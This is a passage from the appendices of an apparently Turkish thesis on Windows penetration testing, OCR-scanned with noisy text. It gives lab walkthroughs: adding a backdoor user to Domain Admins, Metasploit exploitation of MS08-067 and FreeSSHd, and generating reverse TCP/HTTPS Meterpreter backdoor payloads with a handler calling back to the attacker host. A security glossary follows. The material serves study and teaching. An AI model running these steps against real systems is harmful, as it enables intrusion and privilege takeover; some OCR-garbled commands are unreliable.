mutu verilir. Sekil F.9 iizerinde gorildiigi gibi Domain Admins grubuna yeni bir kullanic

eklendi.
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C:sUsersscem.sari.KEMALTEZ>net user ~domain
The request will be processed at a domain controller for domain kemaltez.net.

User accounts for “NSERUER1.kemaltez.net

Administrator cem.sari
krhtgt mehmet _keles
The command completed successfully.

C:sUsersscem.sari.KEMALTEZ net user PENTEST Peni2345 sadd <domain

The request will be processed at a domaln controller for domain kemaltez.net.
The command completed successfully.

C:“Userscem.sari.KEMALTEZ net group "Domain Admins" ~sdomain

The reqguest will be processed 4oL o W T oML FO L 1er Tor aonmain kemaltez.net.

[Croup name Domain Admins
[Comment Etki alaninin atanmis voneticileri

Administrator mehmet .keles
The command completed successfully.

IC:~Users~cem.sari.KEMALTEZnet group "Domain Admins" PENTEST ~add ~domain
The request will be processEd At 4 OOMA1N CONCPOLIEF TOF OOMAlN REMAILEZ .NEL .

The command completed successfully.

"' sdomain

C:~Usersscem.sari.KEMALTEZXnet group "Domain Admins
The reguest will be processéd at 4 domailn contPolier roP aomain kemaltez.net.

IGroup name Domain Admins
[Comment Etki alaninin atanmig yoneticileri

Members

Administrator mehmet .keles PENTEST
The command completed successfully.

SEKIL F.9: Elde Edilen Bilet ile Domain Admin Grubuna Yeni Kullanci Eklenmesi
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Zafiyet Istismari

G.1 Ms08 067 Netapi Modiilii ile Windowsta Meterpre-

ter Baglantisinin Saglanmasi

Oncelikle ‘MSFconsol” calistirilir. Sonra ‘search ms08 067’ komutu ile modiiliin tama-
mini bulunmas: i¢in arama yapilir. Eger modiil ismi tam biliniyorsa arama yapmaya
gerek yoktur. Arama sonucundan sonra ‘use exploit/windows/smb/ms08 067 netapi’
komutu vererek modiile girilir. Yapilmas: gereken ayarlar1 gérmek i¢in sekil G.1 iizerinde

goriildiigli gibi ‘show options’ komutu verilir.

149
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= not built,

SMEPIPE BRI

Name

SEKIL G.1: Ms08 067 Modiiliiniin Search Edilmesi ve Ayar Secenekleri

Ayarlarda sadece hedef bilgisayarin IP’si verilir. IP’yi vermek i¢in
‘set RHOST 192.168.200.132’ komutu kullanilir ve ‘show options’ komutu verilerek ayar-
larin son hali tekrar gézden gecirilir. Caligtirmak icin sekil G.2 {izerinde goriildiigii gibi

‘run’ veya ‘exploit’ komutu verilir.

14444

SEKIL G.2: Ms08 067 Modiili Ayarlarimin Yapilmas: ve Kontrol Edilmesi
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‘Meterpreter’ baglantisi elde edildikten sonra ‘sysinfo’ komutu ile igletim sistemi bilgisi
alinir. Hangi yetki aldigini kontrol etmek icin ‘getuid’ ve hangi PID ile acildigini ise
‘getpid’ komutu kullanilir. Sekil G.3 iizerinde goriildiigii gibi modiiliin ¢aligma sonucu

‘SYSTEM’ haklar ile ‘svchost.exe’ prosesinde galigmigtir.

SEKIL G.3: Ms08 067 Modiiliiniin Exploit Edilmesi ve Caligtig1 Prosesin Goriilmesi

Ayrica bu agiklik ilgili linkten incelenebilir.
https://www.bilgiguvenligi.gov.tr/kritik-acikliklar/windows-server-

servisinde-bulunan-kritik-aciklik-ms08-067-3.html

G.2 FreeSSHd Yiikli Windows Bilgisayarda Meterpreter

Baglantisinin Saglanmasi

Windows igletim sistemine yiiklenen ‘Freesshd’ye gekil G.4 iizerinde goriildiigi gibi admin

eklenilir. Eklenen admin kullanicisi ‘freesshd’ {izerinde varsayilmigtir.


https://www.bilgiguvenligi.gov.tr/kritik-acikliklar/windows-server-\servisinde-bulunan-kritik-aciklik-ms08-067-3.html
https://www.bilgiguvenligi.gov.tr/kritik-acikliklar/windows-server-\servisinde-bulunan-kritik-aciklik-ms08-067-3.html
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g freeSSHd settings EI@
Server status Telnet SSH Authertication Encryption Tunneling SFTP
Users Hast restrictions Lagging Onling users Automatic updates
- ™

Add... Change Remove il
Login Shell SFTP Tunnel
& Admin @ @ @ I

SEKIL G.4: FreeSSHd’ye KullaniciEkleme

Aciklik ile ilgili modiiliin tamamini gérmek igin ‘search freesshd authbypass’ komutu ile
arama yapilir. ‘use exploit/windows/ssh/freesshd authbypass’ komutu ile modiile girilir.
Sekil G.5 tizerinde gorildigi gibi ‘show options’ komutu ile yapilmas: gereken ayarlara

bakilir.

, using

USER FILE

SEKIL G.5: FreeSSHd Search Edilmesi ve Ayarlarinin Kontrolii

Burada hedef bilgisayarin IP’si verilmesi gerekmektedir. IP’yi vermek i¢in ‘set RHOST
192.168.200.142’ komutunu kullanilir ve ‘show options’komutu verilerek gekil G.6 iize-

rinde goriildiigii gibi ayarlar: tekrar gézden gecirilir.
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SEKIL G.6: FreeSSHd Ayarlarinin Yapilmasi

Modiilii exploit etmek i¢in ‘run’ veya ‘exploit’ komutu verilir. ‘getuid’ ile hangi yetkiyi
aldigini ve hangi PID ile acildigini ise ‘getpid’ komutlarini vererek goriiliir. Sekil G.7
iizerinde goriildiigii gibi yapilan iglemler sonucunda modiil caligtirilarak ‘freesshd’ uygu-

lamasi ile ‘Meterpreter’ baglantist burak kullanicisi {izerinde elde edilmigtir.

SEKIL G.7: FreeSSHd ile Meterpreter Baglantisinin Kurulmasi



Ek H

Sosyal Muhendislik Saldirilar ile
Isletim Sisteminde Yetkilerin Elde

Edilmesi

H.1 Reverse Tcp Payload: ile Arka Kapi1 Acarak Meterp-

reter Calistirma

Kali igletim sistemi komut satirindan ‘msfpayload windows/meterpreter/reverseicp
LHOST = 192.168.200.128 LPORT = 4444 X > /tmp/aaa.exe’ komutu ile payload

exploiti gekil H.7 iizerinde goriildiigii gibi olugturulur.

SEKIL H.1: Arka Kap1 i¢in Payload Hazirlanmasi

Olusturulan Payload uygun bir yéntem ile hedef bilgisayarda ¢aligtirihir. Burada ise sekil
H.2 ve H.3 iizerinde goriildiigii gibi kaynak bilgisayardan kopyalanip hedef bilgisayarin

masaiistiine yapigtirilmigtir.

154
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Dosya Dedgistir Goriinim  Git  Yer imleri  Yardim

Aygitlar G tmp @ Q, Arama
=20GB..

|| Disket Siriici
Bilgisayay pulse- pulse- ssh-g2DZzcFxfalz tracker-root L
3 Baslangig BTrZoP7T5yPV | BloCal DEY DA

T 9C96-CB2C
B Masalisti =
v Dosya Dedistir Gorinim Git  Yerimleri Yardim

|# Dosya Sistemi
1 Cap @ Svariay L9 =2 0 GB Dosya Sistemi

= 20GB..

Ag
|—I Disket Sdrici
% Aga Gizat - .

B Masalstii

|# Dosya Sistemi —
rlE} Cop SYSTEM
Ag

T nda GAzat

SEKIL H.2: Olusturulan aaa.exe Payload: 1

4

Recycle Bi

|- » Computer » Removable Disk (E:) »

Organize = Open Mew folder

MNarne Date modified

.android_secure

tE & Downloads Adsiz Klasar

’Tr' S| Recent Places m
ain &;e\ ) “ Cain & Abel - ca_setup
ca_setup = Libraries L | saM

| Documents L] SYSTEM
R . Music
| '””| = Pictures
E Videos

Cain

1M Computer

SEKIL H.3: Olugturulan aaa.exe Payload: 2

Kaynak bilgisayarda ‘MSFconsole’ caligtirarak iglemlere devam edilir. ‘MSFconsola’ gi-
rildikten sonra ‘use exploit/multi/handler’ komutu verilerek ‘handler’ exploitine girilir.
‘Show options’ komutu ile ayarlarina bakildiktan sonra kaynak IP’ sine ‘set LHOST
192.168.200.128’ ve portuna ‘set LHOST 4444’ verilir. Yapilan iglem sekil H.4 {izerinde

gosterilmigtir.
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t/multi/hanc
) 1

PORT 444

ot LPORT 4444

SEKIL H.4: Multi Handler Exploit Ayarlar:

Sonra payload ayarlar1 yapilir. Reverse tcp set edileceginden; ‘set PAYLOAD
windows/meterpreter /reverse,cp’ komutu ve ‘Show options’ komutu ile son ayarlar

kontrol gekil H.5 iizerinde goriildiigii gibi edilir.

SEKIL H.5: Payload Ayarlar: ve Kontroli

Bu iglemlerden sonra ‘run’ veya ‘exploit’ komutu ile ¢aligtirilir ve hedef bilgisayarin pay-
load: ¢aligtirmasi beklenir. Eger hedef bilgisayarda payload caligtirihir ise ‘Meterpreter’
baglantisi saglanilir. Bu iglemler de ise ‘handler’t ¢aligtirdiktan sonra hedef bilgisayar-
dan payload manuel ¢aligtirilacaktir. Sekil H.6 {izerinde goriildiigii gibi hedef bilgisayara
baglantis1 saglanmigtir.

=[run

SEKIL H.6: Multi Handler Exploit Edilmesi
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H.2 Reverse Https Payloadiile Arka Kapi1 Acarak Meterp-

reter Calistirma

Hedefe gonderilecek bir reverse  hittps payloadi hazirlanilir. Kali igletim sistemi komut sa-
tirindan ‘msfpayload windows/meterpreter /reverse _https LHOST = 192.168.200.128
LPORT = 443 X > /tmp/aaa.exe’ komutu ile payload exploiti gekil H.7 iizerinde go-

riildiigii gibi olugturulur.

00.128", "LPORT"=>"443"}

SEkiIL H.7: Arka Kapi i¢in Payload Hazirlanmas:

Olugturulan payload uygun bir yontem ile hedef bilgisayarda caligtirilir. Burada ise gekil
H.8 ve H.9 iizerinde goriildiigii gibi kaynak bilgisayardan kopyalanip hedef bilgisayarin

masaiistiine yapigtirilmigtir.

Dosya Dedistir Gordnim  Git  Yer imleri  Yardim

Ayqitlar G tmp @ Q, Arama
=Hz20GB. =

[ Disket Surici
Bilgizayay pulse- pulse- ssh-g2DZzcFxfalz tracker-root L
& Baslangi BTrZoP7TSyPV Ml NEV DA e

) 9C96-CB2C
B8 Masalstii -
v Dosya Dedistir Gorlnim  Git  Yerimleri Yardim

[# Dosya Sistemi =)

—DzoGB.. =

Ag
| Disket Siriicii

Aga Gozat i .
B Masalisti

|# Dosya Sistemi =
= _. SYSTEM
@ cop

Ag

AAa (A7 at

SEKIL H.8: Olugturulan aaal.exe Payloadinin Kaynak Bilgisayardan Alinmasi
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v

Recycle Bin

A, |- » Computer » Removable Disk (B3] » - |4
Organize = =) Open Mew folder

Mame Date modified

.android_secure

4 Downloads Adsiz Klasar

= Recent Places m

“ Cain 8 Abel - ca_setup

ain & Abel -
ca_setup A Libraries L] sam
i Documents || SYSTEM
— , Music
| ‘_||||| b=| Pictures
BE videos

Cain

1M Computer

SEKIL H.9: Olugturulan aaal.exe Payloadinin Hedef Bilgisayara Atilmasi



Ek 1

Paylasima Acik Hassas Verilerin
Elde Edilmesi

I.1  MSF smb enumshares Auxiliary Modiili ile Paylagim-

lara Erigilmesi

Hedef makine olan Windows igletim sisteminin gekil 1.1’de goriildiigii iizere paylagim
yapilir.

Link-local IPuvb Address . . . . : felA::72d2d:3h73:98ab:2d82:x12
IPv4 Address. . . . . . . . . . 92.168.200.101

Subnet Mask 5572557255 W

Default Gateway 1 192.168.2808.1

Tunnel adapter isatap.{EF14F429-3CAE-4D88-8E41-8C68823485703:

Media State : Media disconnected
Connection—specific DNS Suffix . :

Tunnel adapter Teredo Tunneling Pzeudo-Interface:

SEKIL I.1: Windows Uzerinde Paylagim Yapilmas:

Sonra kaynak bilgisayardan ‘Metasploit’ araci ¢aligtirilir. ‘search smb_enumshares’ ko-
mutu ile ‘smb_enumshares’ modiiliine ulagilir.

‘use auxiliary/scanner/smb/smb_enumshares’ komutu ile modiile girilir. ‘show options’
komutu ile modiil ayarlar1 kontrol edilir. Modiil ayarlarinda ki RHOSTS ozelligine ‘set
RHOSTS 192.169.200.101" komutu ile hedef bilgisayarin IP’si verilir. Yapilan iglemler

sekil 1.2°de gosterildigi gibidir.
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SEKIL I1.2: Smb_enumshares Modiilii Ayarlarinin Yapilmasi

Modiile yonelik bagka bir ayar gerekmediginden ‘run’ komutu verilerek modiil ¢aligtirilir.
Yapilan iglem ve sonucu sekil I.3'te goriildiigii gibidir.

] = run

SEKIL I.3: Smb__enumshares Modiiliiniin Qaligtirilmas: ve Sonuca Ulagilmas:

Goriildiigii tizere gekil 1.1’de ‘Testpaylasim’ adindaki paylagim gekil 1.3’te listelenmigtir.



Ek J

Tamimlar

J.1 Genel Giuvenlik Kavramlari

Bilgi giivenligi kavrami kapsaminda ¢ogunlukla bilginin korunmasi hedeflenir. Bilginin
iiretildigi yerden baglayip tagindigi ve saklandig: sistemler tizerinde gizliliginin ve biitiin-
liigliniin yetkisiz erigimden korunmasi gerekmektedir. Sistem ya da sosyal miihendislik
kaynakli agikliklardan olusan tehditler, tehdit ve agikliklarin olusturdugu riskler ve risk-
lerin meydana gelmesi sonucunda ise sistemin istismar edilmesi s6z konusudur. Bu tez

kapsaminda sikca kullamilan 6nemli kavramlarin agiklamalar: agagida verilmigtir.

J.1.1 Hacker

Ust diizey programlama yetisine sahip, ag ve sistemleri iyi tamiyabilme ve kullanabilme
yetenegi olan, sosyal miithendislik yapabilen ve bu {i¢ 6zelligi bir arada kullanarak sistem,
bilgisayarlar yada bilgisayar mantiginda caligan araclara sizarak istedigi sonucu elde ede-
bilen kisi yada topluluklara hacker denir. Hackerlar; beyaz sapka, siyah sapka ve gri gsapka
olmak tizere {ice ayrilir. Beyaz sapkali hackerlar, bilgilerini iyi yonde kullanirlar, sistem
acikliklilarini genelde kapatmaya calisir ve bu dogrultuda kurum, kuruluglara ve toplu-
luklara bilgilendirmeler yaparlar. Siyah sapkali hackerlar, kendi c¢ikarlar1 dogrultusunda
sistemlere sizarak sistem veya ulagtiklar: bilgilere zarar verirler. Gri gsapkali hackerlar ise

bazen siyah sapkali bazen beyaz sapkali hackerlar gibi davranirlar.
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J.1.2 Varhk

Bir kurum veya kurulug icin korunmasi gereken ya da degeri olan her unsur bir varliktir.
Kurum ve kuruluglardaki bilgiler, yazilimlar, donamimlar, binalar, ig arac ve gerecleri gibi

isletme icin degeri olan tiim unsurlar varliga 6rnek olarak verilebilir.

J.1.3 Acikhik

Genel olarak sistemde bulunan yapisal veya tasarim hatal agikliklardir. Bu agikliklar
diginda sistem yanhg yada eksik yapilandirilmasi veya kurulan programlarin giincel ol-
mamasl gibi ornekler verilebilir. Saldirganlar bu acikliklar: istismar ederek giivenlik 6n-

lemlerinin agilmasina neden olur.

J.1.4 Tehdit

Bilingli ya da bilingsiz eylemler sonucu kurum, kurulus veya kisiler icin olasi zararh
sonug/sonuglar dogurabilme, varhklarinin gizlilik, biitiinliik ve erisilebilirliklerine zarar
verebilen saldir1 ya da aciklik ihtimalleridir. Tehdit gelig yoniine gére kurum ici ve kurum
dig1, tehdit kaynagi agisindan ise insan kaynakli tehdit ve doga kaynakli tehdit olmak

iizere ikiye ayrilir.

J.1.5 Risk

Tehditlerin varliklar {izerindeki gizlilik, biitiinliik ve erigilebilirlik boyutlarinda olustur-
dugu etkinin, tehdidin ortaya c¢ikma olasihigi ile birlikte hesaplanmasidir. Bilgi giivenli-
ginin temelindeki gizlilik, biitiinliik ve erigebilirlik unsurlarina yonelik risklerin iyi analiz

edilerek, dogabilecek zararli sonuclar: en az seviyeye indirmeyi amaclar.

J.1.6 SoOmiirme (Exploit)

Sistemin yapisal, tasarimsal, eksiklik yapilandirmasi ve sosyal miihendislik ile ilgili tek-
nik agikliklarin sonucunda metasploit veya diger araglar kullanilarak sistemde bulunan

aciklhigin bilingli ya da bilingsiz bir gekilde istismar edilmesidir.
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J.2 Bilgi Giivenligi Unsurlari

Bilgi giivenligi, bilgilerin izinsiz erigimlerden, kullanimindan, ifsa edilmesinden, yok edil-
mesinden, degistirilmesinden veya hasar verilmesinden korunmasi iglemidir. Mahremiye-
tin, biitlinliigiin ve bilginin ulagilabilirliginin korunmasi hususu ortak hedeftir. Bu bag-

lamda bilgi giivenligini olugturan alt unsurlarin tanimlanmas: gereklidir |21].

J.2.1 Gizlilik-Biitiinliik-Erisilebilirlik CIA (Confidentiality, Integrity,
Availability)

Bilgi giivenliginin temeli gizlilik, biitiinliik ve erigebilirlik unsurlarina dayanmaktadir. Bu
ti¢ unsur bilgi giivenligi literatiiriinde CIA olarak ge¢mektedir [22]. Bu unsurlar gekil J.1
iizerinde goriildiigii gibidir.

Gizlilik
(Confidentiality)

CIA
Givenlik
Modeli

Erigilebilirlik Biitiinliik
(Availability) (Integrity)

SEKIL J.1: CIA Giivenlik Modeli

J.2.1.1 Gizlilik (Confidentiality)

Bilginin yetkisiz kullancilar ya da proseslerle kullanilabilirligini saglamama o6zelligidir.
Bilginin sadece erigim hakk: olan yetkili kigilerce erigilebilir olmasini amaclamaktadir.
Bu yiizden iic¢lincii gahislar tarafindan ele gecirilmemesi igin bilgisayar sistemlerinde,
saklama ortamlarinda, ag iizerinde gonderici ve alici arasinda taginirken yetkisiz erigim-

lerden korunmalidar.
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J.2.1.2 Veri Biitiinliigii (Data Integrity)

Verinin tutuldugu ortamda veya alig veriginde verinin bozulmadiginin, yeni veri eklenme-
diginin, bir kismi veya tamaminin silinmediginin, veri igeriginin degigmediginin ve veri
degigse de bu degisimin anlagiliyor olabilmesi igin verinin dogrulanmas: gerekir. Bu cer-
cevede gerekli onlemler alinarak verinin herhangi bir degigiklige ugramadan biitiinliigi
saglanir. Biitlinliigii saglanan veri, tutuldugu ortam veya alig verisi sirasinda kullanicisina

gonderilirken, icerigi degismemis, bozulmamis ya da silinmemis olarak ulasir.

J.2.1.3 Erisilebilirlik (Availability)

Yetkili kullanicinin ulagmak istedigi verinin erigilebilir ve kullanilabilir olmasdir. Bir bil-
giye erigmek ya da erigimi kisitlamak igin belirli izinlerin verilmesi veya alinmasi gere-
kebilir. Izinler dogru yerde ve zamanda verilmeli ya da kisitlanmalidir. Ancak sistemin
siirekli erigilebilir olmasi, erigimi engelleyici tehditlere kargi énlemler almasi gerektirir.

Servis dig1 kalan sistemler maddi kayiplara sebep olabilir.

J.2.2 Diger Unsurlar
J.2.2.1 Giivenilirlik (Reliability Consistency)

Sistemin ongoriilen ve beklenen davranigi ile elde edilen sonuglar arasindaki tutarhlik
durumudur. Sistemin kendisinden bekleneni eksiksiz/fazlasiz olarak her ¢ahgtirildiginda

tutarli sekilde yapmasidir.

J.2.2.2 inkér Edememe (Non-repudiation)

Bu prensip verinin iletildigi génderici ve alici arasinda ortaya gikabilecek iletigim sorun-
lar1 ve anlagmazliklar: en aza indirmeyi amaclar. Tki sistem arasinda bir bilgi aktarimi
yapilmigsa ne gonderen veriyi gonderdigini nede alic1 veriyi aldigini inkdr edememelidir.

Ozellikle gercek zamanl islem gerektiren finansal sistemlerde kullanim alani bulmaktadir.
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J.2.2.3 Kimlik Sinamas1 (Authentication)

Sistemde iglem yapacak kimligin bilgilerinin kim oldugu, sistemdeki bilgiler ile dogru-
lanmas: iglemidir. Kimlik bilgileri, parola gibi, alici gonderici dogrulamasi, akilli kart ve

Biyometrik kimlik dogrulama ornekleri verilebilir.

J.2.2.4 Yetkilendirme (Authorization)

Kimlik sinamasi gerceklestirildikten sonra kullanicinin ne kadar yetkili oldugunun ve
bu yetkiler gercevesinde hangi bilgi varliklarina ne kadar yetki ile erigeceginin belirlen-
mesi iglemidir. Yetkiler tek kullanici i¢in verilebilecegi gibi genelde gruplamalar yapilarak
verilmektedir. Gereksiz verilen her yetki bilgi giivenliginde bircok acikliga sebep olabil-

mektedir.

J.2.2.5 lizlenebilirlik/Kayit Tutma (Accountability)

Kullanic1 sisteme baglanip hangi islemleri yaptigi, sisteme izinsiz yada verilen yetkilen-
dirmeler diginda herhangi bir olayin gerceklegip gerceklegsmediginin takibi gibi olaylarin
kayit altinda tutuldugu ve gerceklegsmis olayin tespitinin yapildigi sistemdir. Loglama

ornek olarak verilebilir.

J.3 Kimlik Dogrulama Kavramlari

Kritik varliklarimiza erigimin simirlanmasi ve sadece yetkisi olan kisilerin erigimine izin
verilmesi gerekmektedir. Kimlik dogrulamada olasi bir hata, erigim izni verilmemesi ge-
reken bir kullanicinin ¢ok yiiksek haklarla erisim iznine sahip olmasini saglayacaktir. Bu
tiir durumlar icin yetkili ve yetkisiz kigilerin ayirt edilebilmesi gerekmektedir. Yetkili
ve yetkisiz kisileri ayirt etmeye yarayan sistemler kimlik dogrulama sistemleridir. Bu sis-
temler bilgisayar ve bilgisayar mantiginda caligan biitiin donanimlarda mevcuttur. Kimlik

dogrulamada kullanilan ana unsurlar kimlik dogrulama kavramlarini olugturmaktadir.
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J.3.1 1Iki Asamali Dogrulama (Two Factor Authentication)

Kullanici kimligini dogrulayan iki farkli giivenlik yontemidir. Bu giivenliklerin birisi kul-
lanicinin bildigi bir sey (something know) digeri sahip oldugu (something have) sey olarak
diisiiniilebilir. Ornegin internet bankacihgini kullaniyorsak sifremiz disinda ikinci bir sif-
renin cep telefonumuza SMS olarak gelmesidir (One-time-pass). Genelde saldirilara kars:

direncli bir yontemdir.

J.3.1.1 Tek Kullanimlik Parola (One-time-pass)

Parolalarin uzun bir siire ayni kalmalar biiyiik giivenlik acigina neden olmaktadir. Bunun
oniine ge¢cmek icin her kullanimda farklhilagan parola kullanimi 6nerilmigtir. Bankalarin
kullanicilarina verdikleri tek kullammlik parola cihazlari, Google Authenticator vb. sis-
temler bu sinifa girmektedir. Kullanildiktan sonra gecersiz oldugundan tekrar saldirilarini

onlemektedir.

J.3.2 Cok Asamali Dogrulama (Multi Factor Authentication)

Cok agamal kimlik dogrulamadan biri veya birkaci birlikte kullanilabilmektedir. Kimlik
dogrulamada kullanilan unsur sayisi arttikca kargimizdakinin kimliginden daha giiclii bir
sekilde emin oluruz. Kimligi dogrulanan sadece insan olmak zorunda degildir. Bilgisayar,

donanim, yazilim veya yazicinin da kimligi dogrulanmak istenilebilir.

J.3.2.1 Bilinen Bir Sey (Something You Know) ile Kimlik Dogrulama

Kullanici igin sistem iizerinde kendi haklar: dogrultusunda bir paylagim izni verilir. Payla-
sim yapildigi alanda sadece kullaniciyi ilgilendiren gizli veriler bulunur. Ornegin; kullanici

ad, sifresi veya PIN bu kapsam i¢inde degerlendirilebilir.

1.3.2.1.1 PIN (Personal Identification Number) ve Parola
Parolalar, tek bagina kullanilmalar: durumunda zayif kimlik dogrulama mekanizmalarina
ornek gosterilmektedir. Bunun nedeni parolalarin segildikleri uzayin kisitli olmasi ve kaba

kuvvet saldirilar: ile bulunabiliyor olmasidir. PIN genel olarak akilli kartlarda gegerlidir.
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1.3.2.1.2 Sekil/Desen (resim, vb.) Kullanimi
Kullanic1 tarafindan segilen resimlerin ya da noktalar birlegtirilerek olugturulan gekillerin

dogrulanmast ile gerceklegtirilir.

J.3.2.2 Sahip Olunan Bir Sey (Something You Have) ile Kimlik Dogrulama

Akilli kart, RFID ve benzeri kullanicilarin fiziksel olarak sahip olduklari kimlik dog-
rulama jetonlar: bu sinifa girmektedir. Jetonlar parola ile birlikte veya tek baglarina

kullanilabilmekte ve ayni zamanda kullanicinin erigim haklarim da icermektedirler.

J.3.2.3 Bize Ozgii Olan Bir Sey (Something You Are) ile Kimlik Dogrulama

Biyometrik sinyaller olarak da adlandirihir|23]. Herkesin biyometrisinin farkl olmasindan
dolay1 giivenlik problemlerini azaltmaktadir. Donanimsal olarak yiiksek maliyetlerdedir
ancak kullanimi, giivenlik risklerini en aza indirdiginden maliyet kontrolii saglamakta-
dir. Bu sistemler yaygin olarak kullamilmakla birlikte bazi riskleri tagimaktadir. Eger
gliclii algoritma kullanilmazsa kirilabilirler. Parolada salt kullanilan 6zet alinmalidir. 2.
sahislarin eline gegtiginde ise mahremiyet problemleri ortaya cikabilir. Biometri degigti-
rilemez ancak taklit edilebilir (gergek parmak izi kopyalanarak silikon parmak ile kimlik

dogrulanabilir. Truva at1 ile veri tabanina ulagarak veri alma veya tahrip edilebilir).

Basglica "Bize Ozgii Olan Bir Sey" olarak kullanilan biyometrik kimlik dogrulama yon-
temleri; parmak izi, iris tanima, yiiz tanima, ses tanima, el geometrisi tanima, damar
tamma, yliz termogrami, imza atimi, konusma tanuma ve yiiriiyiis tanimadir|24]. Bahse-
dilen biyometrik kimlik dogrulama yontemlerinden parmak izi, yiiz tanima ve iris tanima
ozelliklerini windows igletim sistemi dogrudan kullanmaktadir[25]. Diger biyometrik kim-

lik dorgulama yontemlerini ise dolayli olarak iigiincii parti yazilimlarla kullanmaktadir.

J.3.3 Sifreleme Kavramlari

Windows igletim sistemi gifreleme yaparken iki temel teknik kullanir. Bu teknikler gizli
anahtar sifreleme olarak bilninen simetrik ve ortak anahtar sifreleme olarak bilinen asi-

metrik gifrelemedir|26].
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J.3.3.1 Simetrik Sifreleme

Bu algoritmada sifreleme ve sifre ¢ozmek icin ayni gizli anahtar kullanilmaktadir. Bu
anahtar gifreleme yapan kisi ile gifrelemeyi cézecek kigiler arasinda anlagilmig ortak bir
anahtardir. Cok hizli bir gifreleme algoritmasidir. Blok ve dizi gifreleme olarak ikiye

ayrilir.

1.3.3.1.1 Blok Sifreleme

Agik metni bitigik bloklara bélme, her blogu sifreleyerek gifreli metin bloklarina doniig-
tiirme (her dongii bir ¢evrimdir), bu sifreli bloklari gifreli metin ¢ikigi olarak gruplamaktir.
Genelde 64 BIT’tir ancak iglemcinin hiz1 artik¢a blok uzunlugu da artirilabilir.

Ik calisma kipleri ECB, CBC, OFB ve CFB 1981 yilina kadar dayanir. FIPS 81, DES

Model of Operation’da tanimlanmigtir|27].

1.3.3.1.1.1 DES Sifreleme

Donanimsal uygulamalarda kullanilmak amac: ile tasarlanmigtir. 64 bit blok sifreleme
ve 56 bit anahtar kullanir. 16 dongiiden olusan bir dongiide; ilk dongiiye girmeden 6nce
baglangic permiitasyonu ve son déngiiden sonra baglangic permiitasyonunun tersi uygula-
nir. En zayif yonii 56 bit anahtar kullanmasidir. Modern bilgisayarlar tarafindan yapilan
anahtar saldirilarinda yetersizdir. Bu ylizden 3DES’e gegilmis ancak performans hizinin
diigiik olmasindan dolay: tercih edilmemektedir. Windows igletim sisteminde ise DES, LM

ve NTLM’de kullanilmaktadir. LM ve NTLM Bo6liim 1’de ayrintili olarak iglenmistir.

1.3.4.1.1.2 AES Sifreleme

Amerikan Hiikiimeti tarafindan kabul edilen AES, uluslararasi alanda da defacto sifre-
leme (kripto) standardi olarak kullanilmaktadir. NSA tarafindan onaylanan kamuya acik
ilk gifreleme algoritmasidir. 128 bit blok gifreleme ve 128,192,256 bit anahtar kullanir. Te-
orik olarak kirilmigtir ancak pratikte kirilamamigtir. Windows igletim sistemi kerberosta

AES-128 kullanmaktadir.

1.3.4.1.2 Dizi Sifreleme

Mesajin her bitini ayr1 ayrn sifreler, mesaj uzunlugunda bir anahtar kullanilir. Her bir
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basamak bir bit ve birlegtirme operatérii XOR iglemidir. Bir dizi gifresinin giivenli ol-
masi i¢in anahtar dizisi biiylik bir periyoda sahip olmali ve anahtar dizisinden gifreleme

anahtarmni ya da i¢ durumu ¢ikarmak miimkiin olmamalhdir [28].

J.3.3.2 Asimetrik Sifreleme

1976 yilinda Stanford Universitesinden Diffie ve Hellman adli arastirmacilar tarafindan
onerilmigtir. Bu sistemde bir tane gifreleme i¢in (public key) bundan farkli olarak bir ta-
nede sgifre ¢6zmek igin (private key) anahtar bulunur. Bu sistemde sifreleme iglemi herkes
tarafindan bilinen agik anahtarla yapilir. Sifreleme ve ¢ozme iglemi birbirinin simetrigi ol-
mayan (yani aynisi olan) algoritmalarla gerceklestirildiginden asimetrik gifreleme sistemi

olarak adlandirilmigtir.

J.3.4 Ozetleme Kavramlari

Verinin biitiinliigini korumak amaci ile acik veri, gifrelenmis veri arasinda tek yonli
déniisiim saglar. Ozeti alinmig bir veri tek yonlii oldugu icin eski veriye geri doniigtiirii-

lemez.

Veri biitiinliigii kontroliiniin saglandigini gérmek icin ayni verinin 6zeti bir ¢ok defa
ayn1 yontemle alinsa yine ayn 6zeti verecektir. Tam tersi durumda, veride en ufak bir

degisiklikte verinin 6zetide degismektedir.
Ozetleme algoritmas: sayisal imzalamada ise verinin 6zeti imzalanarak kullanilmaktadir.

Microsoft’un yaygin kullandigi 6zetleme algoritmalar:; tuzlama (salting)ve Md5'dir.
NTLMv2’de 6zetleme algoritmasi olarak MD5 kullanmaktadir. NTLMv2 Bélim 1’de

ayrintili olarak iglenmistir.

Tuzlama (Salting): Agik bir deger olup rastgele olusturularak sifre 6zeti ile birlikte sak-
lanir. A kullanicisi ile B kullanicisi aym gifre kullansalar bile tuzlama degeri birbirinden

farkl oldugu i¢in gifre 6zetleri birbirinden farkh olacaktir.

MD5: MD5 128 bitlik (32 Bayt) ve tek yonlii 6zetleme algoritmasidir. Asil amaci veri
biitiinligini kontrol etmektir. Bir dosya, mesaj veya sifreyi 128 bitlik bir 6zete gevirir.
Yapisal olarak giivenli olmamakla birlikte, ancak hizli oldugundan internet ortaminda

yogun olarak kullanilmaktadir.
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J.3.5 Windowsta Kimlik Dogrulama Temelleri
J.3.5.1 LM

Microsoft eski igletim sistemleri ile haberlegmek i¢in kullandigir protokoldiir. Saldirilara
karsi savunmasizdir. Yeni Windows siiriimlerinde LANMAN varsayilan olarak kapalidir
[1]. Ozetleme ise kiiciik harfleri biiyiik harfe cevirir. 14 karakterden olusur. Parolay1 7
karakter geklinde ikiye boler. DES anahtan ile gifrelenir. Bolim 1.1.1’de detaylandiril-

migtir.

J.3.5.2 NTLM

Ag ortamindaki Windows NT 4.0 veya daha eski versiyonlarla iletisim kurulmasinda
kullanilan kimlik dogrulama protokoliidiir. Windows Server 2003 ailesi i¢in varsayilan
iletigim protokoliidiir. LM protokoliiniin zayifliklarindan dolay: kullanilmaya basglanmigtir
[1][29]. Ozetleme ise LANMAN’e gore daha giivenilirdir. Parola uzunlugu olarak 256
karaktere kadar destek verir. Ozetleme algoritmasi olarak MD4 kullanilir. Kiiciik harfleri
biiyiitmez ve parolay: ikiye bolmez. Onemli bir nokta ise LANMAN ve NT tuzlama (salt)
kullanmaz [30]. B6liim 1.1.2’de detaylandirilmigtir.

J.3.5.3 NTLMv2

NTLMv2 protokolii NTLMvl iizerinde sikilagtirma uygulayarak daha giivenli gekilde
kimlik dogrulama igleminin gerceklegtirilmesi saglanmistir [3].
Ozellikle spoofing ataklarina kargi protokolii zorlastirarak giivenligi artirmistir. Boliim

1.1.3’te detaylandirilmigtir.

J.3.5.4 Kerberos

